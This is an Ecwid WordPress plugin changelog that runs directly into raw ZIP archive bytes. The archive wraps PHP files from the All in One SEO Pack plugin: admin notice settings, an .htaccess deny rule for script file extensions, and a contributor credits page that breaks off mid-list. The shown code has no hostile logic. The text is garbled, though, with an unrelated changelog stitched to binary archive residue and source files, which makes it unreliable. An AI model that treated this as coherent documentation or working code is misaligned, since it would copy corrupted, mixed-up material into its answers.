Ecwid. - **Improvements for Recently Viewed Products.** We rolled out a few improvements and bug fixes for the recently viewed products widget. It now displays a link to the store page when there are no products in the list; the thumbnails pictures shown in the sidebar are now of the better quality; the currently opened product is now not displayed in the list if there are other recently viewed products. - **Slight improvements in Single Sign On functionality.** If you use Single Sign On, the plugin will now send user first name and last name along with user email to your Ecwid store when a new user is registered on your site. This allows you to make tighter integration of your site and your Ecwid store – your customer name will appear at checkout automatically if they enter their name on your site. - **Fixed an invalid meta description bug**, which appeared in some rare cases when product description contained special characters. - **Fixed a bug in XML sitemap generation.** Some users faced a problem with XML sitemaps generated by Ecwid for Yoast SEO plugin (malformed product pages URLs). It's fixed. You can use Yoast SEO plugin to make your products listed in your XML site map. - A few improvements in the plugin settings pages layout. = 3.0.2 = - Fixed a few issues in the recently viewed products widget = 3.0.1 = - Added Russian translation of the new plugin settings and registration pages - Temporary fix for low quality images in the recently viewed products sidebar widget - Fixed a few layout issues on the new registration page in the plugin backend = 3.0 = - **New sidebar widget: Recently Viewed Products.** A new Ecwid's sidebar ecommerce widget is now available – your site can now show the products that the customer has recently visited. The links and images in the sidebar are updated automatically, so the customer can return to the product they previously opened and probably decide to buy it. This will increase visibility of your products for the customers and generate more sales. Enable the new widget under Appearance->Widgets menu in your admin backend. - **New design of the plugin Dashboard.** The dashboard ("Ecwid") page in the plugin backend is now nicer and more useful. - **Completely redesigned Registration page.** This is for the new users of the plugin. When installing the plugin, a user will now see a beautiful welcome page that will introduce them to Ecwid and guide through the setup process. - **New easier store connection.** Previously, to connect an Ecwid store with a Wordpress site and display store products, a new user had to copy and paste their store ID from Ecwid Control Panel. Now, even this easy step became easier – the user only needs to click a few buttons to authorize themselves and the plugin will automatically detect and connect their store. For those with technical background: we use oAuth2 for this, which is now a part of the newest Ecwid API. = 2.8 = - **Integration with the XML sitemap functionality of Yoast and All in One SEO Pack plugins.** Ecwid has been integrated with Google XML Sitemaps plugin allowing you to generate a sitemap containing the links to your products and categories. Now, the sitemaps generated by Yoast SEO and All in One SEO plugins will also include online store pages, if you're on a paid Ecwid plan. - **Improved design of Ecwid sidebar controls in the Appearance/Widgets page in Wordpress backend.** Store sidebar widgets controls are now more noticeable and responsive. - **Improved compatibility with the Cloudflare's Rocketloader.** Rocket loader tool sometimes blocked Ecwid scripts from loading. We added another improvements to prevent such issues. - **Fixes and improvements of the meta title tag generation on product and categories pages.** - **A few minor fixes and adjustments.** = 2.7.4.1 = - Additional fixes for the "title" tags on product pages following the 2.7.4 version's updates. = 2.7.4 = - Improvements of 'title' and 'canonical' meta tags generation. The update prevents incorrect meta tags appearing in some WordPress themes in WordPress 4.1 = 2.7.3 = - Several bug fixes and minor improvements for the new "Add Store" button in WordPress Editor = 2.7.2 = - **A new sidebar ecommerce widget: Ecwid Store Page Link.** The widget adds your store page link to the site's sidebar. You may want to use it with blog-focused WordPress themes that don't have a navigation menu, e.g. the upcoming "Twenty Fifteen" theme. Also, you can consider adding the widget to your sidebar to make your store page more visible to your visitors. - **Wordpress 4.1 and Twenty Fifteen theme compatibility.** The new WordPress version is coming soon and bringing a brand new 'Twenty Fifteen' theme. Ecwid plugin is now totally ready for the upcoming changes and will work OK in the new environment. Feel free to upgrade your site to Wordpress 4.1 as soon as it's released. - A few minor improvements and bugfixes for the new "Add Store" button released in the version 2.7 = 2.7.1 = - Fixed a few issues with the store appearance settings that were discovered in the recently released update (v2.7) = 2.7 = - **A brand new 'Add store' tool in WordPress editor toolbar.** Ecwid is now integrated with WordPress WYSIWYG editor: click the 'Add Store' button in the page editor toolbar, chose widgets to show, adjust the appearance and place your store on any page of your site. Now you can decide what store widgets to show and configure store appearance right in the page editor. - **New "[ecwid]" shortcode.** The new ecommerce shortcode allows you to control every aspect of your store appearance by means of tweaking the shortcode parameters right in the store page code. Display/hide the search widget, choose the minicart layout you like, display different store categories on different site pages and so on. This shortcode serves the "Add Store" button mentioned above and almost every tweak is available in the new "Add Store" window so you don't have to edit any code in most cases. Still, an advanced Wordpress user may consider using shortcodes for more flexible and quick integration. - **Improved behavior of single product widgets.** If you put a single product widget on your site using the [ecwid_product] shortcode, you might notice that it opens a popup with the customer cart when a customer purchases the product. Now single product widgets are smarter: when the customer decides to buy a product and opens a cart page, the main store page on your site will be opened providing the customer with the built-in cart&checkout functionality. The checkout layout will fit better your site design and provide better buying experience when it's embedded into a page rather than in a popup-like window. - **Fix for the Envision theme.** The Envision theme didn't display Ecwid widgets properly because of a custom page content generation it uses. We issued a workaround from our side to let all Envision users install and use Ecwid plugin on their sites. If you use Envision theme and want to set up an online store on your site, go ahead and install Ecwid ecommerce plugin, it will work OK for you. - **Fixes of PHP notices.** Some of Ecwid users discovered a few PHP notices (warnings) on their site referring to the Ecwid plugin. Although those didn't break anything, they could be quite annoying. We cleaned up the plugin code to get rid of those warning messages, now the plugin should work without any odd message. = 2.6 = - **Ecwid's new SEO URLs compatibility.** The new Ecwid clean URLs have been released a few days ago for all Ecwid users. Our WordPress plugin is already fully compatible with the new URLs. Your online store pages will be better indexed by search engines and the search results will look more attractive as the links themselves will mention the product/category they lead to. Of course, Ecwid will handle all redirects, backward compatibility with the old URL scheme and avoid any duplicate issues. Enjoy the new SE-friendly URLs with no trouble. - **Improved formatting of product snippets markup.** In this update we tidied up in the product HTML representations generated for search engines and fixes a few issues in the products data markup. In particular, the price and availability tags have been re-formatted according to the Google recommendations to ensure better search engine results. - **A few improvements and fixes for Twenty Fourteen and Responsive themes layout.** Ecwid looks nice on the vast majority of WordPress themes. Additionally, we strive to make it look even better on the most popular themes. This update brings a few more minor layout fixes for the sites with "Responsive" and "Twenty Fourteen" themes installed. = 2.5 = - **Extended compatibility with the "Responsive" WordPress theme.** Ecwid ecommerce plugin is by design compatible with any theme and automatically adapts itself to any layout and screen size. This makes your store looks good on any device your customers use. One of the most popular free themes for Wordpress -- Responsive -- is also famous for its responsive design. In this update, we adjusted our plugin to better integrate with Responsive theme and Ecwid stores now look a way better on WordPress sites with Responsive themes to provide better user experience on any device and to generate more sales. If you're thinking which WP theme to choose for your site, you should definitely try the "Responsive" theme with Ecwid. - **Added compatibility with WordPress 4.0.** WordPress 4.0 is just around the corner and we already prepared our plugin for it. We enhanced the plugin installation process to be compatible with the new plugins management coming with WordPress 4.0 and tested every plugin's function to make sure your stores are ready for the upcoming WordPress update. - **Automatic store page recovery functionality.** Some Ecwid users previously faced issues when they deleted or replaced the plugin's generated store page on their Wordpress sites. We added a smart mechanism to Ecwid plugin to automatically detect such situations and prevent any possible troubles connected with them. Now, it you decide to move your store from one page to another within your Wordpress site or temporary hide your store page, the plugin will detect that, find an alternative store page on your site (if any) and keep the links and all the store functionality working OK regardless of whether you currently have a new store page or not. So, whatever update you're making on your site pages, you can rest assured your Ecwid store works fine, be it the product browser, single product snippet or a sidebar widget. - **Fixed broken link in single product widgets.** We fixed a minor issue with broken links in single product ecommerce widgets, that was reported to us recently. You can add a single product to any page of your site as usually by means of [ecwid_product] shortcode -- everything will work fine. All existing single product widget will continue working as well -- no actions is required from your side. - **Fixed a few layout issues on the plugin's setting pages.** During the recent updates, we were improving the plugin setting pages interfaces. This update brought a few more fixes to the plugin settings pages to make them more user-friendly. - **Several fixes for old WordPress versions.** WordPress is often updated with new features and bug fixes. Still, there are some merchants who use the old versions. While encouraging everyone to update their sites regularly, we want our plugin work great for all users. So, in this update, we added a few fixes addressing issues in the old Wordpress versions (2.8 - 3.1) = 2.4.3.2 = - **Onboarding for the new plugin users.** Ecwid ecommerce plugin now displays new helpful messages when you set up your store and configure the setting. The messages guide the new users through the setup process and provide helpful tips and recommendations. - **Improvements in the plugin settings pages and messages.** We updated the texts and styles of the messages displayed on the settings pages. They became clearer and more user-friendly. - **Minor optimizations for search engines** including tidying up of the product pages 'meta' descriptions tags and fixing potential issues in compatibility with Yoast SEO plugin. This is to ensure better indexation and appearing of your online store products in the search results. - **Several minor fixes and enhancements** - **Added in 2.4.3.1:** fixed incompatibility of the plugin v2.4.3 with the servers running PHP 5.2.x - **Added in 2.4.3.2:** additional fix for the outdated PHP versions (5.2.x) = 2.4.2 = - Minor issue is fixed on the plugin's "General settings" page = 2.4.1 = - Added compatibility with the new versions of "Google XML Sitemaps" plugin (v4.0 and higher) = 2.4 = - **Ability to add a single product to a page or post on your site using new [ecwid\_product] shortcode.** In addition to embedding a whole product catalog on your Wordpress site, you can also feature a single product on a separate page or blog post of your ecommerce site and allow your customers to purchase the product right from that page. To embed a product on a page or post, add [ecwid\_product id="12345"] shortcode to the page/post in your Wordpress backend. Do not forget to replace 12345 in this example with the actual product ID. - **Better SEO for store pages.** Ecwid plug-in now automatically adds product attributes to SEO-optimized versions of product pages on your site to let the search engines index attributes like UPC, brand and others along with the other product properties. Also, some improvements were applied to the format of product HTML snippets to meet the Google recommendations on how to better organize ecommerce information (title, descriptions, price etc) on the product details pages. These improvements will help search engines to better index your products and optimize their appearance in search results. - **Slight improvements of store layout for mobile devices.** All Ecwid stores are mobile-friendly by design, i.e. they adapt themselves to the given layout and look good on mobile devices, so if your ecommerce site is mobile-optimized, your Ecwid store will be as well. Earlier, if you use horizontal categories widget on your Wordpress site, you might notice that it didn't fit the given width on narrow screens, e.g. when opened on a mobile device. Now, the plugin automatically hides horizontal categories widget on narrow screens to ensure better look on mobile-optimized sites. - **Several improvements and bug fixes for plugin settings pages, store appearance and SEO.** = 2.3.2 = - **Fixed an issue in sitemap functionality**. Ecwid uses third party plugin to generate an XML sitemap (Google XML Sitemaps) for store products and categories. The current integration had a bug which caused an error message in Wordpress admin backend for users on Free Ecwid plan. Now it's fixed and everything should work OK. = 2.3.1 = - Automatic generation of the rel="canonical" links for SEO. Canonical links are aimed to specify the preferred (canonical) URL of the web page for search engines to prevent possible duplicate content issues. Ecwid plugin now generates such links automatically for product and categories pages in your store to provide search crawlers with well-structured content and help them better index your store. - Improved compatibility with CloudFlare Rocket Loader. The merchants who use CloudFlare Rocket Loader extensions on their sites might previously experience issues with loading of their Ecwid stores. We've further improved the plugin code to prevent such issues in the future. Now Ecwid plugin should perfectly work with CloudFlare extensions. - Several minor fixes and enhancements = 2.3 = - Added compatibility with Google XML Sitemaps plugin. Now you can submit your store items links along with the other site ecommerce pages to search engines. To use this feature, please install the "Google XML Sitemaps" plugin (http://wordpress.org/plugins/google-sitemap-generator/), generate a sitemap (it will include your products and categories links) and submit it to the search engines to help them better crawl and categorize your site. - Improved compatibility with SEO Ultimate plugin. Ecwid ecommerce plugin always displays your store pages in a proper SEO-friendly format to make the store indexable by search engines. Moreover, we constantly adjust the plugin to make it work fine with popular third party SEO modules. So Ecwid is perfectly compatible with "Wordpress SEO by Yoast", "All in one SEO Pack", "Platinum SEO Pack" and now with "SEO Ultimate" plugin. - Minor design improvements of the plugin settings pages to make them mobile-friendly for better compatibility with the backend layout of new Wordpress versions. Now you can manage Ecwid plugin settings in your Wordpress administrator panel using your mobile device. - New "Ecwid badges" widget is available. If you like Ecwid and want to help it grow and become the most popular e-commerce solution, you can now add a fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid. Please find the new widget under 'Appearance → Widgets' section in your Wordpress backend. = 2.2.1 = - Fixed layout error on General Settings page in Firefox = 2.2 = - Improved compatibility with the new Wordpress version 3.8 which brings great features like brand new responsive theme, revamped admin backend and other improvements. Ecwid ecommerce plugin is now ready for that, so your store will work perfectly with the new Wordpress version - The plugin settings pages are now available in seven languages: English, Italian, Russian, French, German, Spanish, Brazilian Portuguese. Ecwid itself is available in 45 languages, so customers from all over the world can purchase from your store - Design improvements of the plugin settings pages including Retina-ready icons = 2.1 = - Our plugin backend is now available in Italian, Russian and English. Thanks to Luciano Del Fico for the great help with the Italian translation. - Improvements and bug fixes, including - Better SEO for store pages: search engines will now index product options list and category descriptions - Compatibility with WP Minify (Wordpress sites optimization plugin) - Improved compatibility with Yoast WP SEO plugin: Ecwid SEO page titles are shown properly with enabled Yoast's "Force Rewrite Titles" option - Minor text and design tweaks of the plugin settings pages = 2.0 = - **New revamped plugin settings**: the new settings layout makes the plugin easy and intuitive for starters, yet powerful and advanced for experienced merchants. - **Multilingual plugin backend**: the plugin settings now support multilanguage. Currently available in English and Russian. More translations are coming! - **SEO improvements** - Auto generated meta description tags for the product and category pages. Now, Google should properly index product/category descriptions and display them in the search results. - <title> tags for categories. The SEO category pages in your online store now include both title and description tags so they will appear in Google search results properly. - **Smooth HTTP/HTTPS switch**: Ecwid always transfers all sensitive ecommerce data using secure HTTPS connection and a special 'HTTPS' option in the Ecwid plugin settings is not necessary anymore. Now, the plugin detects connection type and adjust Ecwid integration codes automatically. No manual adjustments are needed regardless of whether you run your site under HTTP or HTTPS. - **Improved compatibility with CloudFlare Rocket Loader**: previously, using CloudFlare Rocket Loader along with Ecwid might cause intermittent loading issues for some ecommerce sites. We've improved the plugin code to prevent such issues. = 1.8.1 = - [!] Fixed meta title tag display issue on the main store page appeared with the version 1.8 : in some cases, the store page title tag was stripped. Now it should work OK. = 1.8 = - [+] Improved compatibility with popular SEO plugins (Yoast WordPress SEO, All in one SEO Pack and Platinum SEO pack) : now Ecwid prevents them from generating wrong title and canonical tags on the product pages. - [+] Ability to display separate categories on separate pages with custom shortcodes. Now, the plugin allows setting different default categories for different store pages. So if you have multiple store pages and want to display specific categories on them, you can set up a default category for each of them in the [ecwid\_productbrowser] shortcode like this: [ecwid\_productbrowser default\_category\_id="12345"] . On the other hand, if you have one store page, you can set the default category on the plugin settings page as usual. - [+] A few more SEO improvements: - Product browser's default category ID setting is now taken into consideration by SEO part of the plugin. If you have multiple store pages displaying specific categories of your ecommerce store, search engines will index those pages starting from the proper category (not from the store's root) - <meta fragment="!"> tag is now displayed on every page where [ecwid\_productbrowser] tag is added so search engines will better index each store page - [+] We also released a lot of new Ecwid features. You can read about them there: http://www.ecwid.com/blog/new-releases/ = 1.7 = - [+] various additions to the indexable representation of Ecwid pages (product category in the title and on the page, product options, product SKU). Thanks to Uliya B. = 1.5 = - [!] fixed a problem where in some rare occasions the SEO catalog would show a PHP error. = 1.4 = - [!] enhanced the backward compatibility with the older inline SEO links - [+] increased the priority of the product-specific titles in order to work side-by-side with various SEO-related ecommerce plugins. = 1.3 = - [+] Backward compatibility with old Inline SEO Catalog links. = 1.2 = - [+] A lot of changes in Ecwid shopping cart: http://www.ecwid.com/blog/new-releases/ - [+] Support of the Google’s “AJAX Crawling†API for native indexing of AJAX applications has been added. This will significantly improve the indexation of Ecwid ecommerce stores and is a successor of the Inline SEO Catalog feature. More details at https://developers.google.com/webmasters/ajax-crawling/ (This feature requires a paid Ecwid subscription) - [+] Auto-generated titles for product pages. - [+] Support of microformats to get rich snippets in search engine results pages. - [+] New Ecwid section has been added to the admin menu. = 1.1.2 = - [!] Issue with the way how ecommerce widgets are embedded into the page for the free users was fixed. = 1.1.1 = - [!] Issue with the way how inline SEO catalog is embedded into the page was fixed. = 1.1 = - [+] Improved the compatibility with AJAX-based e-commerce themes for WP and some web search engines out there. = 1.0 = - [!] The "Single Sign-on" feature didn't work properly in some cases. Fixed. = 0.9 = - [+] The "Single Sign-on" feature has been added. This feature allows your customers to sign into your WordPress ecommerce site and fully use your store without having to sign into Ecwid. = 0.8 = - [+] New minicart ecommerce widget: http://kb.ecwid.com/w/page/15853298/Minicart#Miniview - [+] Stores are loaded faster now, if some Ecwid sidebar widgets are enabled. - [+] Inline SEO Catalog generates "clean" SEO-friendly page titles now. - [!] Issue with Inline SEO Catalog and enabled "Canonical URLs" feature has been fixed. = 0.7 = - [!] The "Inline SEO catalog" feature didn't work correctly with WP permalinks. Fixed. = 0.6 = - [+] The "Inline SEO catalog" option was added. = 0.5 = - [+] Plugin settings page was updated. - [+] Two new options: "Full link to your mobile catalog" and "Default category ID". = 0.4 = - [+] Instruction in the plugin settings was updated. - [+] New plugin option to use on secure pages was added. - [+] Some code tweaks and optimizations. = 0.3 = - [+] Ecwid integration code was updated to the last version - [+] New product browser parameters: http://kb.ecwid.com/Product-Browser - [+] New built-in "ecwid_ProductBrowserURL" feature: http://kb.ecwid.com/ecwid_ProductBrowserURL = 0.2 = - [+] New sidebar ecommerce widgets were added: search box, minicart and vertical categories - [+] New options effecting the store appearance - [!] Minor bugfixes = 0.1 = - [+] Initial version PK������+—[¦¹ø+e��e��D��all-in-one-seo-pack/admin/display/notices/blog-visibility-notice.phpnu�„[µü¤��������<?php /** * Blog Visibility Notice * * @since 3.0 * @package All-in-One-SEO-Pack * @subpackage AIOSEOP_Notices */ /** * Notice - Blog Visibility * * Displays when blog disables search engines from indexing. * * @since 3.0 * * @return array Notice configuration. */ function aioseop_notice_blog_visibility() { $text_link = '<a href="' . admin_url( 'options-reading.php' ) . '">' . __( 'Reading Settings', 'all-in-one-seo-pack' ) . '</a>'; return array( 'slug' => 'blog_public_disabled', 'delay_time' => 0, /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. "Settings > Reading" refers to the "Reading" submenu in WordPress Core. */ 'message' => sprintf( __( 'Warning: %s has detected that you are blocking access to search engines. You can change this in Settings > Reading if this was unintended.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ), 'class' => 'notice-error', 'target' => 'site', 'screens' => array(), 'action_options' => array( array( 'time' => 0, 'text' => __( 'Update Reading Settings', 'all-in-one-seo-pack' ), 'link' => admin_url( 'options-reading.php' ), 'dismiss' => false, 'class' => 'button-primary', ), array( 'time' => 604800, 'text' => __( 'Remind me later', 'all-in-one-seo-pack' ), 'link' => '', 'dismiss' => false, 'class' => 'button-secondary', ), ), ); } add_filter( 'aioseop_admin_notice-blog_public_disabled', 'aioseop_notice_blog_visibility' ); PK������+—[ì§àå$���$���3��all-in-one-seo-pack/admin/display/notices/index.phpnu�„[µü¤��������<?php /** * Silence is golden. */ PK������+—[ø¶ž\f��f��B��all-in-one-seo-pack/admin/display/notices/review-plugin-notice.phpnu�„[µü¤��������<?php /** * Review Plugin Notice * * @since 3.0 * @package All-in-One-SEO-Pack * @subpackage AIOSEOP_Notices */ /** * Notice - Review Plugin * * @since 3.0 * * @return array Notice configuration. */ function aioseop_notice_review_plugin() { return array( 'slug' => 'review_plugin', 'delay_time' => 1036800, 'target' => 'user', 'screens' => array( 'aioseop' ), 'class' => 'notice-info', /* translators: %1$s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ 'message' => sprintf( __( 'You have been using %1$s for a while now. That is awesome! If you like %2$s, then please leave us a 5-star rating. Huge thanks in advance!', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME, AIOSEOP_PLUGIN_NAME ), 'action_options' => array( array( 'time' => 0, 'text' => __( 'Add a review', 'all-in-one-seo-pack' ), 'link' => 'https://wordpress.org/support/plugin/all-in-one-seo-pack/reviews?rate=5#new-post', 'dismiss' => false, 'class' => 'button-primary button-orange', ), array( 'text' => __( 'Remind me later', 'all-in-one-seo-pack' ), 'time' => 432000, 'dismiss' => false, 'class' => 'button-secondary', ), array( 'time' => 0, 'text' => __( 'No, thanks', 'all-in-one-seo-pack' ), 'dismiss' => true, 'class' => 'button-secondary', ), ), ); } // phpcs:ignore Squiz.Commenting.InlineComment.InvalidEndChar // add_filter( 'aioseop_admin_notice-review_plugin', 'aioseop_notice_review_plugin' ); PK������+—[÷d +Í��Í��D��all-in-one-seo-pack/admin/display/notices/sitemap-indexes-notice.phpnu�„[µü¤��������<?php /** * Sitemap Index Notice * * @since 3.0 * @package All-in-One-SEO-Pack * @subpackage AIOSEOP_Notices */ /** * Notice - Sitemap Indexes * * @since 3.0 * * @return array */ function aioseop_notice_sitemap_indexes() { return array( 'slug' => 'sitemap_max_warning', 'delay_time' => 0, 'message' => __( 'Notice: To avoid problems with your XML Sitemap, we strongly recommend you set the Maximum Posts per Sitemap Page to 1,000.', 'all-in-one-seo-pack' ), 'class' => 'notice-warning', 'target' => 'user', 'screens' => array(), 'action_options' => array( array( 'time' => 0, 'text' => __( 'Update Sitemap Settings', 'all-in-one-seo-pack' ), 'link' => esc_url( get_admin_url( null, 'admin.php?page=' . AIOSEOP_PLUGIN_DIRNAME . '/modules/aioseop_sitemap.php' ) ), 'dismiss' => false, 'class' => 'button-primary', ), array( 'time' => 86400, // 24 hours. 'text' => __( 'Remind me later', 'all-in-one-seo-pack' ), 'link' => '', 'dismiss' => false, 'class' => 'button-secondary', ), ), ); } add_filter( 'aioseop_admin_notice-sitemap_max_warning', 'aioseop_notice_sitemap_indexes' ); PK������+—[º0È&Ê��Ê��@��all-in-one-seo-pack/admin/display/notices/wc-detected-notice.phpnu�„[µü¤��������<?php /** * WooCommerce Detected Notice * * @since 3.0 * @package All-in-One-SEO-Pack * @subpackage AIOSEOP_Notices */ /** * Notice - Pro Promotion for WooCommerce * * @since 3.0 * * @return array */ function aioseop_notice_pro_promo_woocommerce() { return array( 'slug' => 'woocommerce_detected', 'delay_time' => 0, /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the premium version of the plugin, All in One SEO Pack Pro. */ 'message' => sprintf( __( 'We have detected you are running WooCommerce. Upgrade to %s to unlock our advanced e-commerce features, including SEO for Product Categories and more.', 'all-in-one-seo-pack' ), 'All in One SEO Pack Pro' ), 'class' => 'notice-info', 'target' => 'site', 'screens' => array( 'aioseop' ), 'action_options' => array( array( 'time' => 0, 'text' => __( 'Upgrade', 'all-in-one-seo-pack' ), 'link' => 'https://semperplugins.com/plugins/all-in-one-seo-pack-pro-version/?loc=woo', 'dismiss' => false, 'class' => 'button-primary button-orange', ), array( 'time' => 2592000, // 30 days. 'text' => __( 'No Thanks', 'all-in-one-seo-pack' ), 'link' => '', 'dismiss' => false, 'class' => 'button-secondary', ), ), ); } add_filter( 'aioseop_admin_notice-woocommerce_detected', 'aioseop_notice_pro_promo_woocommerce' ); PK������+—[³yd«c���c���3��all-in-one-seo-pack/admin/display/notices/.htaccessnu�ÏÃ6Ç$��������<FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$"> Order Allow,Deny Deny from all </FilesMatch>PK������+—[ëÔ¼ f.��f.��5��all-in-one-seo-pack/admin/display/credits-content.phpnu�„[µü¤��������<?php /** * Credits Content * * Displays AIOSEOP's team and additional individuals who have contributed. * * @link https://wordpress.org/plugins/all-in-one-seo-pack/ * * @package All_in_One_SEO_Pack * @since ? */ ?> <div class="wrap credits-wrap"> <p class="about-description"> <?php /* translators: %s is a placeholder so it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ printf( __( '%s is created by a worldwide network of friendly folks like these.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ); ?> </p> <h3 class="wp-people-group"><?php _e( 'Project Leaders', 'all-in-one-seo-pack' ); ?></h3> <ul class="wp-people-group " id="wp-people-group-project-leaders"> <li class="wp-person" id="wp-person-michaeltorbert"> <a class="web" href="https://twitter.com/michaeltorbert" target="_blank"><img alt="" class="gravatar" src="https://s.gravatar.com/avatar/f41419cf5cfdbb071a8d591ac9976bf3?s=60"> Michael Torbert</a> <span class="title"> <?php /* translators: This is our CEO and founder Michael Torbert who oversees everything that is related to All in One SEO Pack. Feel free to use a different term if this doesn't translate well. */ _e( 'Project Lead', 'all-in-one-seo-pack' ); ?> </span> </li> <li class="wp-person" id="wp-person-stevemortiboy"> <a class="web" target="_blank" href="https://twitter.com/wpsmort"><img alt="" class="gravatar" src="https://www.gravatar.com/avatar/40e33d813c16a63500675d851b0cbf3a?s=60"> Steve Mortiboy</a> <span class="title"><?php _e( 'Project Manager', 'all-in-one-seo-pack' ); ?></span> </li> <li class="wp-person" id="wp-person-yuqianliu"> <a class="web" target="_blank" href="https://profiles.wordpress.org/yuqianl"><img alt="" class="gravatar" src="https://www.gravatar.com/avatar/8f971bea2b6c483fd1099e558013a7d0?s=60"> Yuqian Liu</a> <span class="title"><?php _e( 'Project Manager', 'all-in-one-seo-pack' ); ?></span> </li> </ul> <h3 class="wp-people-group"><?php printf( __( 'Core Team', 'all-in-one-seo-pack' ) ); ?></h3> <ul class="wp-people-group " id="wp-people-group-contributors"> <li class="wp-person" id="wp-person-arnaudbroes"> <a class="web" target="_blank" href="https://profiles.wordpress.org/arnaudbroes"><img alt="" class="gravatar" src="https://www.gravatar.com/avatar/0ce0d554c2b0bd61d326e15c8dcde756?s=60"> Arnaud Broes</a> <span class="title"><?php _e( 'Team Lead', 'all-in-one-seo-pack' ); ?></span> </li> <li class="wp-person" id="rozroz"> <a class="web" target="_blank" href="https://github.com/contactashish13"><img alt="" class="gravatar" src="https://avatars2.githubusercontent.com/u/12953439?s=60"> Ashish Ravi</a> <span class="title"><?php _e( 'Development Team', 'all-in-one-seo-pack' ); ?></span> </li> <li class="wp-person" id="EkoJR"> <a class="web" target="_blank" href="https://profiles.wordpress.org/EkoJR/"><img alt="" class="gravatar" src="https://secure.gravatar.com/avatar/bb4c78fe944b58bd5f127d836500c30a?s=200&d=mm&r=g"> Ben Reames</a> <span class="title"><?php _e( 'Development Team', 'all-in-one-seo-pack' ); ?></span> </li> </ul> <h3 class="wp-people-group">🌟 <?php /* translators: These are people who made an awesome contribution to All in One SEO Pack. Feel free to replace "Rockstar" with whatever works best in your language. */ _e( 'Recent Rockstar Contributors', 'all-in-one-seo-pack' ); ?> 🌟</h3> <ul class="wp-people-group " id="wp-people-group-rockstars"> <li> <?php /* translators: %1$s and %2$s are used as placeholders and should not be transalted. These are used to transform the text in between them into a clickable link. */ printf( __( 'Want to see your name and picture here as a community developer? %1$sClick here%2$s to open an issue on GitHub to report a bug, request a feature or find an issue and submit code!', 'all-in-one-seo-pack' ), '<a href="https://github.com/semperfiwebdesign/all-in-one-seo-pack" target="_blank">', '</a>' ); ?> </li> <li class="wp-person" id="wp-person-mayukojpn"> <a class="web" target="_blank" href="https://github.com/rebeccahum"><img alt="" class="gravatar" src="https://2.gravatar.com/avatar/b57b5efcabe3e01833849390ad7d3129?s=60"> Rebecca Hum</a> </li> <li class="wp-person" id="wp-person-mayukojpn"> <a class="web" target="_blank" href="https://profiles.wordpress.org/mayukojpn/"><img alt="" class="gravatar" src="https://secure.gravatar.com/avatar/79294868a241e80ea4fda34c618b8a11?s=60"> Mayo Moriyama</a> </li> <li class="wp-person" id="wp-person-dougalcampbell"> <a class="web" target="_blank" href="https://profiles.wordpress.org/dougal/"><img alt="" class="gravatar" src="https://www.gravatar.com/avatar/81717a172b6918071fbea1a52483294b?s=60"> Dougal Campbell</a> </li> <li class="wp-person" id="wp-person-alejandromostajo"> <a class="web" target="_blank" href="https://github.com/amostajo"><img alt="" class="gravatar" src="https://avatars1.githubusercontent.com/u/1645908?s=60"> Alejandro Mostajo</a> </li> <li class="wp-person" id="wp-person-aaronbrodney"> <a class="web" target="_blank" href="https://github.com/theycalledmetaz"><img alt="" class="gravatar" src="https://avatars3.githubusercontent.com/u/8225725?v=3&s=60"> Aaron Brodney</a> </li> <li class="wp-person" id="rozroz"> <a class="web" target="_blank" href="https://profiles.wordpress.org/yummy-wp/"><img alt="" class="gravatar" src="https://avatars0.githubusercontent.com/u/22232968?v=3&s=460"> Stanislav Samoilenko</a> </li> <li class="wp-person" id="shoheitanaka"> <a class="web" target="_blank" href="https://profiles.wordpress.org/shoheitanaka"><img alt="" class="gravatar" src="https://secure.gravatar.com/avatar/677e512c803c40c0180d4514f876a21f?s=200&d=mm&r=g"> Shohei Tanaka</a> </li> <li class="wp-person" id="webaware"> <a class="web" target="_blank" href="https://profiles.wordpress.org/webaware/"><img alt="" class="gravatar" src="https://secure.gravatar.com/avatar/aee800bc3644d9ebfa33c1ed9df5d958?s=200&d=mm&r=g"> Ross McKay</a> </li> <li class="wp-person" id="webaware"> <a class="web" target="_blank" href="https://github.com/jWright-Freelance/"><img alt="" class="gravatar" src="https://avatars1.githubusercontent.com/u/11382307?s=200&v=4"> John Wright</a> </li> <li class="wp-person" id="webaware"> <a class="web" target="_blank" href="https://wordpress.org/support/users/onetarek/"><img alt="" class="gravatar" src="https://secure.gravatar.com/avatar/dc4d0f0561009cc18c8d1cdfc760b2f1?s=200&d=retro&r=g"> Md Jahidul Islam</a> </li> <li class="wp-person" id="adamsilverstein"> <a class="web" target="_blank" href="https://profiles.wordpress.org/adamsilverstein/"><img alt=""class="gravatar" src="https://secure.gravatar.com/avatar/fddbd6c3e1c3d971aa732b9346aeb433?s=200&d=mm&r=g"> Adam Silverstein</a> </li> <li class="wp-person" id="vschettino"> <a class="web" target="_blank" href="https://github.com/vschettino/"><img alt="" class="gravatar" src="https://avatars2.githubusercontent.com/u/7289698?s=460&v=4"> Vinicius Schettino</a> </li> <li class="wp-person" id="vschettino"> <a class="web" target="_blank" href="https://github.com/srdjan-jcc"><img alt="" class="gravatar" src="https://avatars2.githubusercontent.com/u/3109112?s=460&v=4"> Srdjan Jocic</a> </li> <li class="wp-person" id="vschettino"> <a class="web" target="_blank" href="https://profiles.wordpress.org/soulseekah/"><img alt="" class="gravatar" src="https://avatars0.githubusercontent.com/u/685880?s=460&v=4"> Gennady Kovshenin</a> </li> </ul> <h3 class="wp-people-group dashicons-before dashicons-translation"> <?php /* translators: In this context, "translation contributors" are translators who submit strings on translate.wordpress.org and "translation editors" are those who proofread and approve them (also known as PTEs - Project Translation Editors).*/ printf( _e( 'Translation contributors and translation editors', 'all-in-one-seo-pack' ), '1.2' ); ?> </h3> <p class="wp-credits-list"> <a href="https://profiles.wordpress.org/pierrelannoy/" target="_blank">Pierre Lannoy</a>, <a href="https://profiles.wordpress.org/sonjanyc/" target="_blank">Sonja Leix</a>, <a href="https://profiles.wordpress.org/dev-ide/" target="_blank">Adil El hallaoui</a>, <a href="https://profiles.wordpress.org/simonie/" target="_blank">simonie</a>, <a href="https://profiles.wordpress.org/lenasterg/" target="_blank">lenasterg</a>, 